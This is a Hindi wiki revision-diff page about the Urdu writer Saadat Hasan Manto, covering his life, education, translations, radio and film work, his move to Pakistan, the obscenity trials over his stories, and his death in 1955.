सआदत हसन मंटो: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
Line 27: Line 27:
|शीर्षक 2=
|शीर्षक 2=
|पाठ 2=
|पाठ 2=
|अन्य जानकारी=
|अन्य जानकारी=सआदत हसन मंटो की गिनती ऐसे साहित्यकारों में की जाती है जिनकी कलम ने अपने वक़्त से आगे की ऐसी रचनाएँ लिख डालीं जिनकी गहराई को समझने की दुनिया आज भी कोशिश कर रही है।
|बाहरी कड़ियाँ=
|बाहरी कड़ियाँ=
|अद्यतन=
|अद्यतन=
}}
}}
सआदत हसन मंटो (जन्म- [[11 मई]], [[1912]], समराला, [[पंजाब]]; मृत्यु- [[18 जनवरी]], [[1955]], [[लाहौर]]) कहानीकार और लेखक थे। मंटो फ़िल्म और रेडियो पटकथा लेखक और पत्रकार भी थे।
'''सआदत हसन मंटो''' ([[अंग्रेज़ी]]:''Saadat Hasan Manto'', जन्म:[[11 मई]], [[1912]], समराला, [[पंजाब]]; मृत्यु: [[18 जनवरी]], [[1955]], [[लाहौर]]) कहानीकार और लेखक थे। मंटो फ़िल्म और रेडियो पटकथा लेखक और पत्रकार भी थे।
==जीवन परिचय==
==जीवन परिचय==
सआदत हसन मंटो की गिनती ऐसे साहित्यकारों में की जाती है जिनकी कलम ने अपने वक़्त से आगे की ऐसी रचनाएँ लिख डालीं जिनकी गहराई को समझने की दुनिया आज भी कोशिश कर रही है।<ref name="वेबदुनिया">{{cite web |url=http://hindi.webdunia.com/%E0%A4%B8%E0%A4%86%E0%A4%A6%E0%A4%A4-%E0%A4%B9%E0%A4%B8%E0%A4%A8-%E0%A4%AE%E0%A4%82%E0%A4%9F%E0%A5%8B/%E0%A4%B8%E0%A4%86%E0%A4%A6%E0%A4%A4-%E0%A4%B9%E0%A4%B8%E0%A4%A8-%E0%A4%AE%E0%A4%82%E0%A4%9F%E0%A5%8B-%E0%A4%B8%E0%A4%AE%E0%A4%9D-%E0%A4%A8%E0%A4%B9%E0%A5%80%E0%A4%82-%E0%A4%AA%E0%A4%BE%E0%A4%88-%E0%A4%A6%E0%A5%81%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%BE-1100610051_1.htm |title=सआदत हसन मंटो |accessmonthday=[[10 मई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम |publisher=वेबदुनिया |language=[[हिन्दी]] }}</ref> प्रसिद्ध कहानीकार मंटो का जन्म 11 मई 1912 को पुश्तैनी बैरिस्टरों के परिवार में हुआ था। उनके पिता ग़ुलाम हसन नामी बैरिस्टर और सेशन जज थे। उनकी माता का नाम सरदार बेगम था, और मंटो उन्हें बीबीजान कहते थे। मंटो बचपन से ही बहुत होशियार और शरारती थे। मंटो ने एंट्रेंस इम्तहान दो बार फेल होने के बाद पास किया। इसकी एक वजह उनका [[उर्दू]] में कमज़ोर होना था। मंटो का [[विवाह]] सफ़िया से हुआ था। जिनसे मंटो की तीन पुत्री हुई।  
सआदत हसन मंटो की गिनती ऐसे साहित्यकारों में की जाती है जिनकी कलम ने अपने वक़्त से आगे की ऐसी रचनाएँ लिख डालीं जिनकी गहराई को समझने की दुनिया आज भी कोशिश कर रही है।<ref name="वेबदुनिया">{{cite web |url=http://hindi.webdunia.com/%E0%A4%B8%E0%A4%86%E0%A4%A6%E0%A4%A4-%E0%A4%B9%E0%A4%B8%E0%A4%A8-%E0%A4%AE%E0%A4%82%E0%A4%9F%E0%A5%8B/%E0%A4%B8%E0%A4%86%E0%A4%A6%E0%A4%A4-%E0%A4%B9%E0%A4%B8%E0%A4%A8-%E0%A4%AE%E0%A4%82%E0%A4%9F%E0%A5%8B-%E0%A4%B8%E0%A4%AE%E0%A4%9D-%E0%A4%A8%E0%A4%B9%E0%A5%80%E0%A4%82-%E0%A4%AA%E0%A4%BE%E0%A4%88-%E0%A4%A6%E0%A5%81%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%BE-1100610051_1.htm |title=सआदत हसन मंटो |accessmonthday=[[10 मई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम |publisher=वेबदुनिया |language=[[हिन्दी]] }}</ref> प्रसिद्ध कहानीकार मंटो का जन्म 11 मई 1912 को पुश्तैनी बैरिस्टरों के परिवार में हुआ था। उनके पिता ग़ुलाम हसन नामी बैरिस्टर और सेशन जज थे। उनकी माता का नाम सरदार बेगम था, और मंटो उन्हें बीबीजान कहते थे। मंटो बचपन से ही बहुत होशियार और शरारती थे। मंटो ने एंट्रेंस इम्तहान दो बार फेल होने के बाद पास किया। इसकी एक वजह उनका [[उर्दू]] में कमज़ोर होना था। मंटो का [[विवाह]] सफ़िया से हुआ था। जिनसे मंटो की तीन पुत्री हुई।  
Line 55: Line 55:


अब्दुल बारी की प्रेरणा पर ही उन्होंने विक्टर ह्यूगो के एक ड्रामे "द लास्ट डेज़ ऑफ़ ए कंडेम्ड" का उर्दू में अनुवाद किया, जो “सरगुज़श्त-ए-असीर” शीर्षक से [[लाहौर]] से प्रकाशित हुआ। यह ड्रामा ह्यूगो ने मृत्युदंड के विरोध में लिखा था, जिसका अनुवाद करते हुए मंटो ने महसूस किया कि इसमें जो बात कही गई है वह उसके दिल के बहुत क़रीब है। अगर मंटो के कहानियों को ध्यान से पढ़ा जाए, तो यह समझना मुश्किल नहीं होगा कि इस ड्रामे ने उसके रचनाकर्म को कितना प्रभावित किया था। विक्टर ह्यूगो के इस अनुवाद के बाद मंटो ने ऑस्कर वाइल्ड से ड्रामे “वेरा” का अनुवाद शुरू किया। दो ड्रामों का अनुवाद कर लेने के बाद मंटो ने अब्दुल बारी के ही कहने पर रूसी कहानियों का एक संकलन तैयार किया और उन्हें उर्दू में रूपांतरित करके “रूसी अफ़साने” शीर्षक से प्रकाशित करवाया।<ref name="गद्य कोश" />
अब्दुल बारी की प्रेरणा पर ही उन्होंने विक्टर ह्यूगो के एक ड्रामे "द लास्ट डेज़ ऑफ़ ए कंडेम्ड" का उर्दू में अनुवाद किया, जो “सरगुज़श्त-ए-असीर” शीर्षक से [[लाहौर]] से प्रकाशित हुआ। यह ड्रामा ह्यूगो ने मृत्युदंड के विरोध में लिखा था, जिसका अनुवाद करते हुए मंटो ने महसूस किया कि इसमें जो बात कही गई है वह उसके दिल के बहुत क़रीब है। अगर मंटो के कहानियों को ध्यान से पढ़ा जाए, तो यह समझना मुश्किल नहीं होगा कि इस ड्रामे ने उसके रचनाकर्म को कितना प्रभावित किया था। विक्टर ह्यूगो के इस अनुवाद के बाद मंटो ने ऑस्कर वाइल्ड से ड्रामे “वेरा” का अनुवाद शुरू किया। दो ड्रामों का अनुवाद कर लेने के बाद मंटो ने अब्दुल बारी के ही कहने पर रूसी कहानियों का एक संकलन तैयार किया और उन्हें उर्दू में रूपांतरित करके “रूसी अफ़साने” शीर्षक से प्रकाशित करवाया।<ref name="गद्य कोश" />
====रचनात्मकता====  
====रचनात्मकता====  
एक तरफ मंटो की साहित्यिक गतिविधियाँ चल रही थीं और दूसरी तरफ उनके दिल में आगे पढ़ने की ख़्वाहिश पैदा हो गई। आख़िर [[फ़रवरी]], [[1934]] को 22 साल की उम्र में उन्होंने [[अलीगढ़ मुस्लिम विश्वविद्यालय|अलीगढ़ मुस्लिम यूनिवर्सिटी]] में दाख़िला लिया। यह यूनिवर्सिटी उन दिनों प्रगतिशील मुस्लिम नौजवानों का गढ़ बनी हुई थी। यहीं मंटो की मुलाक़ात अली सरदार जाफ़री से  हुई और यहाँ के माहौल ने उसके मन में कुलबुलाती रचनात्मकता को उकसाया। मंटो ने कहानियाँ लिखना शुरू कर दिया। “तमाशा” के बाद कहानी “इनक़िलाब पसंद” ([[1935]]) नाम से लिखी, जो अलीगढ़ मैगज़ीन में प्रकाशित हुई।<ref name="गद्य कोश" />
एक तरफ मंटो की साहित्यिक गतिविधियाँ चल रही थीं और दूसरी तरफ उनके दिल में आगे पढ़ने की ख़्वाहिश पैदा हो गई। आख़िर [[फ़रवरी]], [[1934]] को 22 साल की उम्र में उन्होंने [[अलीगढ़ मुस्लिम विश्वविद्यालय|अलीगढ़ मुस्लिम यूनिवर्सिटी]] में दाख़िला लिया। यह यूनिवर्सिटी उन दिनों प्रगतिशील मुस्लिम नौजवानों का गढ़ बनी हुई थी। यहीं मंटो की मुलाक़ात अली सरदार जाफ़री से  हुई और यहाँ के माहौल ने उसके मन में कुलबुलाती रचनात्मकता को उकसाया। मंटो ने कहानियाँ लिखना शुरू कर दिया। “तमाशा” के बाद कहानी “इनक़िलाब पसंद” ([[1935]]) नाम से लिखी, जो अलीगढ़ मैगज़ीन में प्रकाशित हुई।<ref name="गद्य कोश" />
==कार्यक्षेत्र==
==कार्यक्षेत्र==
[[1936]] में मंटो का पहला मौलिक उर्दू कहानियों का संग्रह प्रकाशित हुआ, उसका शीर्षक था “आतिशपारे”। [[अलीगढ़]] में मंटो अधिक नहीं ठहर सके और एक साल पूरा होने से पहले ही [[अमृतसर]] लौट गये। वहाँ से वह लाहौर चले गये, जहाँ उन्होंने कुछ दिन “पारस” नाम के एक अख़बार में काम किया और कुछ दिन के लिए “मुसव्विर” नामक साप्ताहिक का संपादन किया। [[जनवरी]], [[1941]] में [[दिल्ली]] आकर ऑल इंडिया रेडियो में काम करना शुरू किया। दिल्ली में मंटो सिर्फ़ 17 महीने रहे, लेकिन यह सफर उनकी रचनात्मकता का स्वर्णकाल था। यहाँ उनके रेडियो-नाटकों के चार संग्रह प्रकाशित हुए 'आओ', 'मंटो के ड्रामे', 'जनाज़े' तथा 'तीन औरतें'। उसके विवादास्पद  'धुआँ' और समसामियक विषयों पर लिखे गए लेखों का संग्रह 'मंटो के मज़ामीन' भी दिल्ली-प्रवास के दौरान ही प्रकाशित हुआ। मंटो [[जुलाई]], [[1942]] में लाहौर को अलविदा कहकर [[बंबई]] पहुँच गये। [[जनवरी]], [[1948]] तक बंबई में रहे और कुछ पत्रिकाओं का संपादन तथा फ़िल्मों के लिए लेखन का कार्य किया।<ref name="गद्य कोश" />  
[[1936]] में मंटो का पहला मौलिक उर्दू कहानियों का संग्रह प्रकाशित हुआ, उसका शीर्षक था “आतिशपारे”। [[अलीगढ़]] में मंटो अधिक नहीं ठहर सके और एक साल पूरा होने से पहले ही [[अमृतसर]] लौट गये। वहाँ से वह लाहौर चले गये, जहाँ उन्होंने कुछ दिन “पारस” नाम के एक अख़बार में काम किया और कुछ दिन के लिए “मुसव्विर” नामक साप्ताहिक का संपादन किया। [[जनवरी]], [[1941]] में [[दिल्ली]] आकर ऑल इंडिया रेडियो में काम करना शुरू किया। दिल्ली में मंटो सिर्फ़ 17 महीने रहे, लेकिन यह सफर उनकी रचनात्मकता का स्वर्णकाल था। यहाँ उनके रेडियो-नाटकों के चार संग्रह प्रकाशित हुए 'आओ', 'मंटो के ड्रामे', 'जनाज़े' तथा 'तीन औरतें'। उसके विवादास्पद  'धुआँ' और समसामियक विषयों पर लिखे गए लेखों का संग्रह 'मंटो के मज़ामीन' भी दिल्ली-प्रवास के दौरान ही प्रकाशित हुआ। मंटो [[जुलाई]], [[1942]] में लाहौर को अलविदा कहकर [[बंबई]] पहुँच गये। [[जनवरी]], [[1948]] तक बंबई में रहे और कुछ पत्रिकाओं का संपादन तथा फ़िल्मों के लिए लेखन का कार्य किया।<ref name="गद्य कोश" />  
==पाकिस्तान यात्रा==
==पाकिस्तान यात्रा==
[[1948]] के बाद मंटो [[पाकिस्तान]] चले गए। पाकिस्तान में उनके 14 कहानी संग्रह प्रकाशित हुए जिनमें 161 कहानियाँ संग्रहित हैं। इन कहानियों में सियाह हाशिए, नंगी आवाज़ें, लाइसेंस, खोल दो, टेटवाल का कुत्ता, मम्मी, टोबा टेक सिंह, फुंदने, बिजली पहलवान, बू, ठंडा गोश्त, काली शलवार और हतक जैसी चर्चित कहानियाँ शामिल हैं। जिनमें कहानी बू, काली शलवार, ऊपर-नीचे, दरमियाँ, ठंडा गोश्त, धुआँ पर लंबे मुक़दमे चले। हालाँकि इन मुक़दमों से मंटो मानसिक रूप से परेशान ज़रूर हुए लेकिन उनके तेवर ज्यों के त्यों थे।
[[1948]] के बाद मंटो [[पाकिस्तान]] चले गए। पाकिस्तान में उनके 14 कहानी संग्रह प्रकाशित हुए जिनमें 161 कहानियाँ संग्रहित हैं। इन कहानियों में सियाह हाशिए, नंगी आवाज़ें, लाइसेंस, खोल दो, टेटवाल का कुत्ता, मम्मी, टोबा टेक सिंह, फुंदने, बिजली पहलवान, बू, ठंडा गोश्त, काली शलवार और हतक जैसी चर्चित कहानियाँ शामिल हैं। जिनमें कहानी बू, काली शलवार, ऊपर-नीचे, दरमियाँ, ठंडा गोश्त, धुआँ पर लंबे मुक़दमे चले। हालाँकि इन मुक़दमों से मंटो मानसिक रूप से परेशान ज़रूर हुए लेकिन उनके तेवर ज्यों के त्यों थे।
==मुशर्रफ आलम जौकी के अनुसार==
====मुशर्रफ आलम जौकी के अनुसार====
उर्दू अफ़सानानिगार मुशर्रफ़ आलम जौकी के अनुसार दुनिया अब धीरे-धीरे मंटो को समझ रही है और उन पर [[भारत]] और पाकिस्तान में बहुत काम हो रहा है लेकिन ऐसा लगता है कि मंटो को पूरी तरह समझ पाने के लिये 100 साल भी कम हैं।
उर्दू अफ़सानानिगार मुशर्रफ़ आलम जौकी के अनुसार दुनिया अब धीरे-धीरे मंटो को समझ रही है और उन पर [[भारत]] और [[पाकिस्तान]] में बहुत काम हो रहा है लेकिन ऐसा लगता है कि मंटो को पूरी तरह समझ पाने के लिये 100 साल भी कम हैं। जौकी के मुताबिक शुरुआत में मंटो को दंगों, फ़िरकावाराना वारदात और वेश्याओं पर कहानियाँ लिखने वाला सामान्य सा साहित्यकार माना गया था लेकिन दरअसल मंटो की कहानियाँ अपने अंत के साथ खत्म नहीं होती हैं। वे अपने पीछे इंसान को झकझोर देने वाली सच्चाइयाँ छोड़ जाती हैं। उनकी सपाट बयानी वाली कहानियाँ फ़िक्र के आसमान को छू लेती हैं।<ref name="वेबदुनिया" />
जौकी के मुताबिक शुरुआत में मंटो को दंगों, फ़िरकावाराना वारदात और वेश्याओं पर कहानियाँ लिखने वाला सामान्य सा साहित्यकार माना गया था लेकिन दरअसल मंटो की कहानियाँ अपने अंत के साथ खत्म नहीं होती हैं। वे अपने पीछे इंसान को झकझोर देने वाली सच्चाइयाँ छोड़ जाती हैं। उनकी सपाट बयानी वाली कहानियाँ फ़िक्र के आसमान को छू लेती हैं।<ref name="वेबदुनिया" />
==मृत्यु==
==मृत्यु==
मंटो के 19 साल के साहित्यिक जीवन से 230 कहानियाँ, 67 रेडियो नाटक, 22 शब्द चित्र और 70 लेख मिले। तमाम ज़िल्लतें और परेशानियाँ उठाने के बाद [[18 जनवरी]], [[1955]] में मंटो ने अपने उन्हीं तेवरों के साथ, इस दुनिया को अलविदा कह दिया.<ref>{{cite web |url=http://www.apnihindi.com/2010/06/blog-post_07.html |title=सआदत हसन मंटो |accessmonthday=[[10 मई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम एल |publisher=अपनी हिन्दी |language=[[हिन्दी]] }}</ref>
मंटो के 19 साल के साहित्यिक जीवन से 230 कहानियाँ, 67 रेडियो नाटक, 22 शब्द चित्र और 70 लेख मिले। तमाम ज़िल्लतें और परेशानियाँ उठाने के बाद [[18 जनवरी]], [[1955]] में मंटो ने अपने उन्हीं तेवरों के साथ, इस दुनिया को अलविदा कह दिया.<ref>{{cite web |url=http://www.apnihindi.com/2010/06/blog-post_07.html |title=सआदत हसन मंटो |accessmonthday=[[10 मई]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम एल |publisher=अपनी हिन्दी |language=[[हिन्दी]] }}</ref>


{{प्रचार}}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2|माध्यमिक=|पूर्णता=|शोध=}}
 
{{संदर्भ ग्रंथ}}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

Revision as of 08:37, 14 August 2013

सआदत हसन मंटो
पूरा नाम सआदत हसन
अन्य नाम मंटो
जन्म 11 मई, 1912
जन्म भूमि समराला, पंजाब
मृत्यु 18 जनवरी, 1955
मृत्यु स्थान लाहौर, पंजाब
पति/पत्नी सफ़िया
संतान तीन पुत्री
कर्म भूमि साहित्य
मुख्य रचनाएँ तमाशा, बू, ठंडा गोश्त, टोबा टेक सिंह, खोल दो, घाटे का सौदा, हलाल और झटका, ख़बरदार, करामात, बेख़बरी का फ़ायदा, पेशकश
विषय कहानी, फ़िल्म और रेडियो पटकथा लेखक, पत्रकार
भाषा हिन्दी, उर्दू
विद्यालय मुस्लिम हाईस्कूल, अमृतसर, अलीगढ़ मुस्लिम विश्वविद्यालय
नागरिकता भारतीय
अन्य जानकारी सआदत हसन मंटो की गिनती ऐसे साहित्यकारों में की जाती है जिनकी कलम ने अपने वक़्त से आगे की ऐसी रचनाएँ लिख डालीं जिनकी गहराई को समझने की दुनिया आज भी कोशिश कर रही है।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

सआदत हसन मंटो (अंग्रेज़ी:Saadat Hasan Manto, जन्म:11 मई, 1912, समराला, पंजाब; मृत्यु: 18 जनवरी, 1955, लाहौर) कहानीकार और लेखक थे। मंटो फ़िल्म और रेडियो पटकथा लेखक और पत्रकार भी थे।

जीवन परिचय

सआदत हसन मंटो की गिनती ऐसे साहित्यकारों में की जाती है जिनकी कलम ने अपने वक़्त से आगे की ऐसी रचनाएँ लिख डालीं जिनकी गहराई को समझने की दुनिया आज भी कोशिश कर रही है।[1] प्रसिद्ध कहानीकार मंटो का जन्म 11 मई 1912 को पुश्तैनी बैरिस्टरों के परिवार में हुआ था। उनके पिता ग़ुलाम हसन नामी बैरिस्टर और सेशन जज थे। उनकी माता का नाम सरदार बेगम था, और मंटो उन्हें बीबीजान कहते थे। मंटो बचपन से ही बहुत होशियार और शरारती थे। मंटो ने एंट्रेंस इम्तहान दो बार फेल होने के बाद पास किया। इसकी एक वजह उनका उर्दू में कमज़ोर होना था। मंटो का विवाह सफ़िया से हुआ था। जिनसे मंटो की तीन पुत्री हुई।

उन्हीं दिनों के आसपास मंटो ने तीन-चार दोस्तों के साथ मिलकर एक ड्रामेटिक क्लब खोला था और आग़ा हश्र का एक नाटक प्रस्तुत करने का इरादा किया था। "यह क्लब सिर्फ़ 15-20 दिन रहा था, इसलिए कि मंटो के पिता ने एक दिन धावा बोलकर हारमोनियम और तबले सब तोड़-फोड़ दिए थे और कह दिया था, कि ऐसे वाहियात काम उन्हें बिल्कुल पसंद नहीं।"[2]

मंटो की कहानियों की बीते दशक में जितनी चर्चा हुई है उतनी शायद उर्दू और हिन्दी और शायद दुनिया के दूसरी भाषाओं के कहानीकारों की कम ही हुई है। आंतोन चेखव के बाद मंटो ही थे जिन्होंने अपनी कहानियों के दम पर अपनी जगह बना ली। उन्होंने जीवन में कोई उपन्यास नहीं लिखा।[3]

शिक्षा

मंटो ने एंट्रेंस तक की पढ़ाई अमृतसर के मुस्लिम हाईस्कूल में की थी। 1931 में उन्होंने हिंदू सभा कॉलेज में दाख़िला लिया। उन दिनों पूरे देश में और ख़ासतौर पर अमृतसर में आज़ादी का आंदोलन पूरे उभार पर था। जलियाँवाला बाग़ का नरसंहार 1919 में हो चुका था जब मंटो की उम्र कुल सात साल की थी, लेकिन उनके बाल मन पर उसकी गहरी छाप थी।[2]

रचनाएँ

'तमाशा'

सआदत हसन के क्राँतिकारी दिमाग़ और अतिसंवेदनशील हृदय ने उन्हें मंटो बना दिया और तब जलियाँवाला बाग़ की घटना से निकल कर कहानी 'तमाशा' आई। यह मंटो की पहली कहानी थी। क्रांतिकारी गतिविधियाँ बराबर चल रही थीं और गली-गली में “इंक़लाब ज़िदाबाद” के नारे सुनाई पड़ते थे। दूसरे नौजवानों की तरह मंटो भी चाहता था कि जुलूसों और जलसों में बढ़ चढ़कर हिस्सा ले और नारे लगाए, लेकिन पिता की सख़्ती के सामने वह मन मसोसकर रह जाता। आख़िरकार उनका यह रुझान अदब से मुख़ातिब हो गया। उन्होंने पहली रचना लिखी “तमाशा”, जिसमें जलियाँवाला नरसंहार को एक सात साल के बच्चे की नज़र से देखा गया है। इसके बाद कुछ और रचनाएँ भी उन्होंने क्रांतिकारी गतिविधियों के असर में लिखी।

1932 में मंटो के पिता का देहांत हो गया। भगत सिंह को उससे पहले फाँसी दी जा चुकी थी। मंटो ने अपने कमरे में पिता के फ़ोटो के नीचे भगत सिंह की मूर्ति रखी और कमरे के बाहर एक तख़्ती पर लिखा-“लाल कमरा।”[2]

अन्य कृतियाँ

कुछ लेख
  • मैं क्या लिखता हूँ?
  • मैं अफ़साना क्यों कर लिखता हूँ?
कुछ कहानियाँ

टोबा टेक सिंह, खोल दो, घाटे का सौदा, हलाल और झटका, ख़बरदार, करामात, बेख़बरी का फ़ायदा, पेशकश, कम्युनिज़्म, तमाशा, बू, ठंडा गोश्त, घाटे का सौदा, हलाल और झटका, ख़बरदार, करामात, बेख़बरी का फ़ायदा, पेशकश, काली शलवार

रूस के साम्यवादी साहित्य से प्रभावित

मंटो का रूझान धीरे-धीरे रूसी साहित्य की ओर बढ़ने लगा। जिसका प्रभाव हमें उनके रचनाकर्म में दिखाई देता है। रूसी साम्यवादी साहित्य में उनकी दिलचस्पी बढ़ रही थी। मंटो की मुलाक़ात इन्हीं दिनों अब्दुल बारी नाम के एक पत्रकार से हुई, जिसने उन्हें रूसी साहित्य के साथ-साथ फ़्रांसीसी साहित्य भी पढ़ने के लिए प्रेरित किया। इसके बाद मंटो ने विक्टर ह्यूगो, लॉर्ड लिटन, गोर्की, आंतोन चेखव, पुश्किन, ऑस्कर वाइल्ड, मोपासां आदि का अध्ययन किया।

अब्दुल बारी की प्रेरणा पर ही उन्होंने विक्टर ह्यूगो के एक ड्रामे "द लास्ट डेज़ ऑफ़ ए कंडेम्ड" का उर्दू में अनुवाद किया, जो “सरगुज़श्त-ए-असीर” शीर्षक से लाहौर से प्रकाशित हुआ। यह ड्रामा ह्यूगो ने मृत्युदंड के विरोध में लिखा था, जिसका अनुवाद करते हुए मंटो ने महसूस किया कि इसमें जो बात कही गई है वह उसके दिल के बहुत क़रीब है। अगर मंटो के कहानियों को ध्यान से पढ़ा जाए, तो यह समझना मुश्किल नहीं होगा कि इस ड्रामे ने उसके रचनाकर्म को कितना प्रभावित किया था। विक्टर ह्यूगो के इस अनुवाद के बाद मंटो ने ऑस्कर वाइल्ड से ड्रामे “वेरा” का अनुवाद शुरू किया। दो ड्रामों का अनुवाद कर लेने के बाद मंटो ने अब्दुल बारी के ही कहने पर रूसी कहानियों का एक संकलन तैयार किया और उन्हें उर्दू में रूपांतरित करके “रूसी अफ़साने” शीर्षक से प्रकाशित करवाया।[2]

रचनात्मकता

एक तरफ मंटो की साहित्यिक गतिविधियाँ चल रही थीं और दूसरी तरफ उनके दिल में आगे पढ़ने की ख़्वाहिश पैदा हो गई। आख़िर फ़रवरी, 1934 को 22 साल की उम्र में उन्होंने अलीगढ़ मुस्लिम यूनिवर्सिटी में दाख़िला लिया। यह यूनिवर्सिटी उन दिनों प्रगतिशील मुस्लिम नौजवानों का गढ़ बनी हुई थी। यहीं मंटो की मुलाक़ात अली सरदार जाफ़री से हुई और यहाँ के माहौल ने उसके मन में कुलबुलाती रचनात्मकता को उकसाया। मंटो ने कहानियाँ लिखना शुरू कर दिया। “तमाशा” के बाद कहानी “इनक़िलाब पसंद” (1935) नाम से लिखी, जो अलीगढ़ मैगज़ीन में प्रकाशित हुई।[2]

कार्यक्षेत्र

1936 में मंटो का पहला मौलिक उर्दू कहानियों का संग्रह प्रकाशित हुआ, उसका शीर्षक था “आतिशपारे”। अलीगढ़ में मंटो अधिक नहीं ठहर सके और एक साल पूरा होने से पहले ही अमृतसर लौट गये। वहाँ से वह लाहौर चले गये, जहाँ उन्होंने कुछ दिन “पारस” नाम के एक अख़बार में काम किया और कुछ दिन के लिए “मुसव्विर” नामक साप्ताहिक का संपादन किया। जनवरी, 1941 में दिल्ली आकर ऑल इंडिया रेडियो में काम करना शुरू किया। दिल्ली में मंटो सिर्फ़ 17 महीने रहे, लेकिन यह सफर उनकी रचनात्मकता का स्वर्णकाल था। यहाँ उनके रेडियो-नाटकों के चार संग्रह प्रकाशित हुए 'आओ', 'मंटो के ड्रामे', 'जनाज़े' तथा 'तीन औरतें'। उसके विवादास्पद 'धुआँ' और समसामियक विषयों पर लिखे गए लेखों का संग्रह 'मंटो के मज़ामीन' भी दिल्ली-प्रवास के दौरान ही प्रकाशित हुआ। मंटो जुलाई, 1942 में लाहौर को अलविदा कहकर बंबई पहुँच गये। जनवरी, 1948 तक बंबई में रहे और कुछ पत्रिकाओं का संपादन तथा फ़िल्मों के लिए लेखन का कार्य किया।[2]

पाकिस्तान यात्रा

1948 के बाद मंटो पाकिस्तान चले गए। पाकिस्तान में उनके 14 कहानी संग्रह प्रकाशित हुए जिनमें 161 कहानियाँ संग्रहित हैं। इन कहानियों में सियाह हाशिए, नंगी आवाज़ें, लाइसेंस, खोल दो, टेटवाल का कुत्ता, मम्मी, टोबा टेक सिंह, फुंदने, बिजली पहलवान, बू, ठंडा गोश्त, काली शलवार और हतक जैसी चर्चित कहानियाँ शामिल हैं। जिनमें कहानी बू, काली शलवार, ऊपर-नीचे, दरमियाँ, ठंडा गोश्त, धुआँ पर लंबे मुक़दमे चले। हालाँकि इन मुक़दमों से मंटो मानसिक रूप से परेशान ज़रूर हुए लेकिन उनके तेवर ज्यों के त्यों थे।

मुशर्रफ आलम जौकी के अनुसार

उर्दू अफ़सानानिगार मुशर्रफ़ आलम जौकी के अनुसार दुनिया अब धीरे-धीरे मंटो को समझ रही है और उन पर भारत और पाकिस्तान में बहुत काम हो रहा है लेकिन ऐसा लगता है कि मंटो को पूरी तरह समझ पाने के लिये 100 साल भी कम हैं। जौकी के मुताबिक शुरुआत में मंटो को दंगों, फ़िरकावाराना वारदात और वेश्याओं पर कहानियाँ लिखने वाला सामान्य सा साहित्यकार माना गया था लेकिन दरअसल मंटो की कहानियाँ अपने अंत के साथ खत्म नहीं होती हैं। वे अपने पीछे इंसान को झकझोर देने वाली सच्चाइयाँ छोड़ जाती हैं। उनकी सपाट बयानी वाली कहानियाँ फ़िक्र के आसमान को छू लेती हैं।[1]

मृत्यु

मंटो के 19 साल के साहित्यिक जीवन से 230 कहानियाँ, 67 रेडियो नाटक, 22 शब्द चित्र और 70 लेख मिले। तमाम ज़िल्लतें और परेशानियाँ उठाने के बाद 18 जनवरी, 1955 में मंटो ने अपने उन्हीं तेवरों के साथ, इस दुनिया को अलविदा कह दिया.[4]



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ↑ 1.0 1.1 सआदत हसन मंटो (हिन्दी) (एच टी एम) वेबदुनिया। अभिगमन तिथि: 10 मई, 2011।
  2. ↑ 2.0 2.1 2.2 2.3 2.4 2.5 सआदत हसन मंटो / परिचय (हिन्दी) गद्य कोश। अभिगमन तिथि: 10 मई, 2011।
  3. ↑ सआदत हसन मंटो (हिन्दी) (एच टी एम एल) ब्रांड बिहार। अभिगमन तिथि: 10 मई, 2011।
  4. ↑ सआदत हसन मंटो (हिन्दी) (एच टी एम एल) अपनी हिन्दी। अभिगमन तिथि: 10 मई, 2011।

संबंधित लेख

साहित्यकार
पुरुष
अयोध्यासिंह उपाध्याय 'हरिऔध' · अनंतमूर्ति · मोहनलाल विष्णु पंड्या · अनंत गोपाल शेवड़े · आर. के. नारायण · अकिलन · आग़ा हश्र कश्मीरी · जयशंकर प्रसाद · सरदार पूर्ण सिंह · प्रेमचंद · जैनेन्द्र कुमार · भारतेन्दु हरिश्चंद्र · रबीन्द्रनाथ ठाकुर · लल्लू लालजी · शिवपूजन सहाय · शिवराम कारंत · सूर्यकान्त त्रिपाठी 'निराला' · रामधारी सिंह 'दिनकर' · हज़ारी प्रसाद द्विवेदी · गोकुलचन्द्र · हरिशंकर परसाई · रामचन्द्र शुक्ल · श्यामसुन्दर दास · राय कृष्णदास · महावीर प्रसाद द्विवेदी · डी. आर. बेंद्रे · गणेश प्रसाद सिंह 'मानव' · विश्वनाथ प्रसाद मिश्र · विनोदशंकर व्यास · माधवराव सप्रे · लाला भगवानदीन · विष्णुकांत शास्त्री · विनायक कृष्ण गोकाक · अमृतलाल नागर · अम्बिका प्रसाद दिव्य · रामअवध द्विवेदी · गणेशशंकर विद्यार्थी · पीताम्बर दत्त बड़थ्वाल · सदल मिश्र · नागार्जुन · पाण्डेय बेचन शर्मा 'उग्र' · श्यामकृष्णदास · सुधाकर पाण्डेय · केशव प्रसाद मिश्र · पारसनाथ मिश्र सेवक · लोकनाथ श्रीवास्तव · गोविन्द चन्द्र पाण्डे · हरिकृष्ण 'जौहर' · करुणापति त्रिपाठी · राधाकृष्णदास · पदुमलाल पुन्नालाल बख्शी · बजरंगबली गुप्त विशारद · रामविलास शर्मा · पण्डित गंगाधर मिश्रा · कुंवर नारायण · सुरेन्द्र कुमार श्रीवास्तव · पद्मनारायण राय · गोवर्धनराम माधवराम त्रिपाठी · राजा लक्ष्मण सिंह · अमरनाथ झा · दुर्गा प्रसाद खत्री · गुरुदत्त सिंघ भूपति · श्याम बहादुर वर्मा · नाथूराम प्रेमी · सत्यजीवन वर्मा 'भारतीय' · बच्चन सिंह · अम्बिका प्रसाद गुप्त · भोलाशंकर व्यास · किशोरी लाल गुप्त · हर्षनाथ · वाचस्पति पाठक · डॉ. तुलसीराम · 